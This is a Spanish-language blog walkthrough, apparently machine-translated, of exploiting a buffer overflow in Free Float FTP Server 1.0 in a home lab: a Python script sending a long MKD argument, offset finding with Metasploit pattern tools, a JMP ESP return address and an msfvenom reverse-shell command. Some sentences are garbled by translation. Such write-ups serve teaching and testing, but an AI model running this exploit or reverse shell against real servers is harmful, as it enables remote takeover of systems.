Free Float 1.0 exploit y escritura EXP

Primero use ODB para ejecutar el programa FTP SERVER 1.0 con vulnerabilidad de desbordamiento de búfer, luego presione F9 para permitir que ODB ejecute nuestro programa con la vulnerabilidad.
Primero usamos el script pattern_create.rb que viene con kali para generar una cadena de código para probar el desbordamiento del búfer, de modo que podamos probar el tamaño del búfer en el siguiente paso.
El script que vamos a utilizar aquí se encuentra en

/usr/share/metasplot-framework/explotar/herramientas

Abajo. El archivo script pattern_create.rb existe en este directorio, usamos el comando

./pattern_create.rb -l 1000

Puede generar una cadena de 1000 bytes. Usaremos esta cadena para probar el tamaño del búfer.
inserte la descripción de la imagen aquí

Luego escribe el siguiente script de python

#!/usr/bin/env python
from socket import *
payload="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A	b7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad	7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8	Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A	h9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak	2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am	3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1	Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq	1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As	2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3A	u4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3	Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay	3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4	Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5	Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be	6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8	Bg9Bh0Bh1Bh2B"
sock = socket(AF_INET,SOCK_STREAM)
sock.connect(('172.16.104.250',21))
sock.recv(1024)
sock.send("USER anonymous\r\n")
sock.recv(1024)
sock.send("PASS anonymous\r\n")
sock.recv(1024)
sock.send("MKD " + payload +"\r\n")
sock.recv(1024)
sock.send("QUIT\r\n")
sock.close

Cuando ejecutamos el script, podemos ver que la memoria de odb está vacía. En el ODB original, necesitamos usar shift+F7 para ver la excepción. A través del mensaje de error, podemos encontrar fácilmente que la dirección de 69413269 está vacía. , es decir, el valor de EIP se ha convertido en 69413269. Cuando el programa regrese, esp apuntará a eip, y en este momento, el espacio de memoria apuntado por eip está vacío y el programa no ejecutará ningún código.
inserte la descripción de la imagen aquí

Ahora, para determinar la longitud del búfer, necesitamos usar el script pattern_offset.rb en kali para hacer el cálculo.
La ubicación de este archivo está en /usr/share/metasploit-framework/exploit/tools.
Usamos el comando: "./pattern_offset.rb -q 69413269" para obtener el tamaño del búfer del programa actual.

inserte la descripción de la imagen aquí

Notablemente. Si no usa ODB para abrir el programa con vulnerabilidad de desbordamiento, también puede observar la información detallada en el mensaje de error del programa. También contendrá la dirección EIP incorrecta a la que apunta actualmente el programa. No se recomienda utilizar el método de carga útil = 'a'*1000 para determinar las vulnerabilidades de desbordamiento. Debido a este método, es difícil determinar la dirección del programa que apunta actualmente al EIP y obtener el tamaño de búfer correcto. Este es un QWQ que no sirve para la siguiente prueba.

Obviamente, el tamaño del búfer con el que conseguimos el programa es de 247 bytes. En este momento, sabemos que necesitamos hacer que el EIP apunte a la dirección que queremos, y la esencia del ataque de desbordamiento de búfer es hacer que el valor en la dirección de memoria sea controlable. Siempre que podamos encontrar una dirección EIP adecuada, deje que el ESP salte cuando el programa regrese.Vaya a la dirección señalada por EIP, y luego deje que el valor detrás de EIP sea sobrescrito por nuestro SHELLCODE para hacer que la función desconocida en ESP se convierta en nuestro SHELLCODE cuando el programa regrese.aleatorización), el enfoque tomamos es inyección de memoria. . Aunque se siente genial, de hecho, no lo hace ==, solo necesita hacer que la dirección del programa regrese para apuntar con éxito a nuestro espacio de shellcode, por lo que no es necesario caer con precisión en el QAQ al comienzo del Shellcode, que puede entenderse aquí, un poco difícil. . Bajo ASLR de Microsoft, todas las direcciones de memoria son aleatorias == Aquí necesitamos encontrar una instrucción JMP ESP disponible en el espacio de memoria del usuario, y aquí no involucramos user32.dll y el kernel que debe cargar cada programa .dll, simplemente utilice odb para determinar la primera dirección de retorno de la función. . No sabes por qué tienes largos sueños por la noche. . Por supuesto, el código de máquina de JMP ESP se llama E4FF. Debido a la razón de que el primero en entrar, el último en salir, al usar un ciclo para encontrar instrucciones en el identificador devuelto por la biblioteca de carga, debe usar handle[pos]==0xFF && manejar[pos+1]==0xE4.
La dirección que encontré aquí es \x77\xc2\x10\x25, en el programa necesitamos escribir \x25\x10\xc2\x77.

Luego agregue un carácter de relleno para asegurarse de que el código de shell esté en nuestro espacio de segmento de código y, finalmente, agregue el código de shell generado por msfvemon. El comando específico es msfvenom -p windows/shell_reverse_tcp LHOST=IP local LPORT = puerto de escucha -b '\x00\x0a\x0d' -f py -c 1.py
-b significa eliminar los caracteres incorrectos. \x00 es el final de la cadena, \x0a es \n y \x0d es un retorno de carro.

inserte la descripción de la imagen aquí

Finalmente, podemos agregar una cadena de shellcode a nuestro script de python.

Código completo:

inserte la descripción de la imagen aquí

Efecto de ejecución:

172.16.104.250 es xp con vulnerabilidades, mi kali es 172.16.104.3 y el puerto de escucha es 8086

inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_27180763/article/details/123682143
Recomendado
Clasificación